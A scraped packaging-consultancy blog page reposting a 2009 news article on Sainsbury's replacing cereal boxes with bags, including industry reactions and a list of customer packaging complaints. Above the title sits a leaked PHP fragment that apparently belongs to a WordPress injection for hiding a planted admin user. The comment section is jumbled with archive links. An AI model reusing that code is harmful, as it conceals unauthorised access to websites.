if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Design Cognition » Blog Archive » Sainsbury’s scraps boxes for Basics cereal range - your packaging design, development, project management & training partner & consultant

Sainsbury’s scraps boxes for Basics cereal range

#retail#packaging#branding#environmental

Simeon Goldstein, packagingnews.co.uk, 22 June 2009

Sainsbury’s has responded to consumer pressure over packaging by removing the cardboard box from its Basics cereals range.

Basics Rice Pops is the supermarket’s first product to be packaged in a printed bag, and the retailer is looking to roll the packaging out to the rest of the range, following a two-month investigation into which packaging particularly frustrated consumers.

A Sainsbury’s spokeswoman said packaging was the biggest environmental concern for its customers and cereals were high on the list of bugbears. “People can’t understand why it’s bagged and boxed,” she said.

Sainsbury's: no box for Basics Rice Pops

Sainsbury’s: no box for Basics Rice Pops
She said that the retailer was taking a number of measures to address consumers’ concerns, such as introducing the two-pint Jugit milk bag, but that protecting products remained the priority.

BPIF Cartons described using only a bag to package cereals as an extraordinary weight-driven move that showed little understanding of the complete environmental picture.

In a statement to Packaging News, chairman Chris Dew said cartons protected a fragile product and helped support and promote the brand. “Cereals, unlike crisps that are sold in larger unit sizes, will be crushed amongst the general shopping without a protective carton,” he said.

Dew added the move also completely ignored how consumers felt about cartons and the environmental benefits they provide. “Cartons are recyclable and made from a sustainable material,” he said.

Cereal manufacturer Kellogg’s has not ruled out following Sainsbury’s example, but said it would not change packaging if it compromised the product safety or risked damaging the cereal.

In a statement, Kellogg’s said it was working with Wrap to determine future packaging targets that would be based on carbon impact rather than weight.

“This will help to define what packaging is appropriate in the future while providing the consumer with safe, long shelf-life, and undamaged cereals,” Kellogg’s said.

Sainsbury’s is committed to a 33% packaging weight reduction by 2015, accounting for 50,000 tonnes of packaging.

 

TOP 10 ‘PACKAGING BUGBEARS’

1 Fruit and vegetables: bagged and boxed
2 Meat packaging: hard to recycle
3 Yoghurt pots: multipacks don’t need further packaging
4 Cereals: bagged and boxed
5 Pizza: packed in several thin layers
6 Ready Meals: don’t need outer cardboard wrapper
7 Milk: needs to be more recyclable
8 Multi-pack cans
9 Crisps: too much waste in multipacks
10 Tomato puree: no need for box around tube

Source: Sainsbury’s

Tags: , , , ,

This entry was posted on Monday, June 22nd, 2009 at 1:48 pm and is filed under Design, Environmental Issues, Food Packaging, Product News, Retailers. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.

One Comment

  1. bob says:
    July 30, 2014 at 11:21 am

    December 2024

  2. July 2015
  3. September 2014
  4. August 2014
  5. July 2014
  6. April 2014
  7. September 2013
  8. March 2013
  9. February 2013
  10. July 2012
  11. January 2012
  12. December 2011
  13. November 2011
  14. August 2011
  15. April 2011
  16. March 2011
  17. February 2011
  18. January 2011
  19. December 2010
  20. November 2010
  21. October 2010
  22. September 2010
  23. August 2010
  24. July 2010
  25. June 2010
  26. May 2010
  27. April 2010
  28. March 2010
  29. February 2010
  30. January 2010
  31. December 2009
  32. November 2009
  33. October 2009
  34. September 2009
  35. August 2009
  36. July 2009
  37. June 2009
  38. May 2009

  39. Tag Bag

  40. Tag Cloud

  41. Twitter Feed

    Posting tweet...